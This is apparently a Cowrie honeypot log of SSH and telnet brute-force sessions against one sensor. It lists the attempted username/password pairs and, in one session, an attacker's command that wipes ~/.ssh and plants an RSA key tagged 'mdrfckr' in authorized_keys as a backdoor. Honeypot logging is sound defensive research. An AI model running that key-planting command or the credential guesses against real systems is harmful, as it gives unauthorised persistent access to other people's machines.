{"eventid":"cowrie.login.success","username":"oracle","password":"qweasd","message":"login attempt [oracle/qweasd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:12.475934Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:13.026694Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:13.029025Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:13.032612Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:13.269892Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:13.779365Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:13.782885Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:14.022638Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:14.026825Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":56766,"dst_ip":"159.203.135.109","dst_port":22,"session":"8361b5d8dce8","protocol":"ssh","message":"New connection: 58.69.56.44:56766 (159.203.135.109:22) [session: 8361b5d8dce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:14.257633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:14.262815Z","src_ip":"58.69.56.44","session":"8361b5d8dce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:14.499073Z","src_ip":"58.69.56.44","session":"8361b5d8dce8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:15.468550Z","src_ip":"58.69.56.44","session":"8361b5d8dce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:16.707021Z","src_ip":"58.69.56.44","session":"8361b5d8dce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":57630,"dst_ip":"159.203.135.109","dst_port":22,"session":"73d57882231b","protocol":"ssh","message":"New connection: 58.69.56.44:57630 (159.203.135.109:22) [session: 73d57882231b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:16.941158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:16.946110Z","src_ip":"58.69.56.44","session":"73d57882231b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:17.184826Z","src_ip":"58.69.56.44","session":"73d57882231b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:18.172349Z","src_ip":"58.69.56.44","session":"73d57882231b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:18.403977Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:18.408690Z","src_ip":"58.69.56.44","session":"73d57882231b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":56782,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2b39f0c6366","protocol":"ssh","message":"New connection: 40.81.244.142:56782 (159.203.135.109:22) [session: e2b39f0c6366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:23.240740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:23.245179Z","src_ip":"40.81.244.142","session":"e2b39f0c6366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:23.432413Z","src_ip":"40.81.244.142","session":"e2b39f0c6366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"pass","message":"login attempt [test2/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:24.213423Z","src_ip":"40.81.244.142","session":"e2b39f0c6366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:25.404581Z","src_ip":"40.81.244.142","session":"e2b39f0c6366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":39296,"dst_ip":"159.203.135.109","dst_port":22,"session":"55b3737f1ac9","protocol":"ssh","message":"New connection: 222.167.161.198:39296 (159.203.135.109:22) [session: 55b3737f1ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:46.580207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:46.585148Z","src_ip":"222.167.161.198","session":"55b3737f1ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:46.855899Z","src_ip":"222.167.161.198","session":"55b3737f1ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rds","message":"login attempt [ubuntu/P@ssw0rds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:47.952524Z","src_ip":"222.167.161.198","session":"55b3737f1ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:49.222874Z","src_ip":"222.167.161.198","session":"55b3737f1ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":44706,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8eb81a4cbb2","protocol":"ssh","message":"New connection: 58.69.56.44:44706 (159.203.135.109:22) [session: f8eb81a4cbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:10.527954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:10.532445Z","src_ip":"58.69.56.44","session":"f8eb81a4cbb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:10.763190Z","src_ip":"58.69.56.44","session":"f8eb81a4cbb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test00","message":"login attempt [root/test00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:11.728380Z","src_ip":"58.69.56.44","session":"f8eb81a4cbb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:12.968596Z","src_ip":"58.69.56.44","session":"f8eb81a4cbb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":50664,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a71202ad428","protocol":"ssh","message":"New connection: 40.81.244.142:50664 (159.203.135.109:22) [session: 3a71202ad428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:24.736024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:24.740902Z","src_ip":"40.81.244.142","session":"3a71202ad428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:24.928100Z","src_ip":"40.81.244.142","session":"3a71202ad428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"5tgb6yhn","message":"login attempt [ubuntu/5tgb6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:25.707920Z","src_ip":"40.81.244.142","session":"3a71202ad428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:26.900760Z","src_ip":"40.81.244.142","session":"3a71202ad428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00487279891968,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:53.283084Z","src_ip":"87.90.84.206","session":"6e5320d5d736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":28956,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b7d33da4a7","protocol":"telnet","message":"New connection: 87.90.84.206:28956 (159.203.135.109:23) [session: b8b7d33da4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:53.651946Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":10682,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbc06fcbbe71","protocol":"ssh","message":"New connection: 222.167.161.198:10682 (159.203.135.109:22) [session: bbc06fcbbe71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:55.141780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:23:55.146213Z","src_ip":"222.167.161.198","session":"bbc06fcbbe71","protocol":"ssh"}
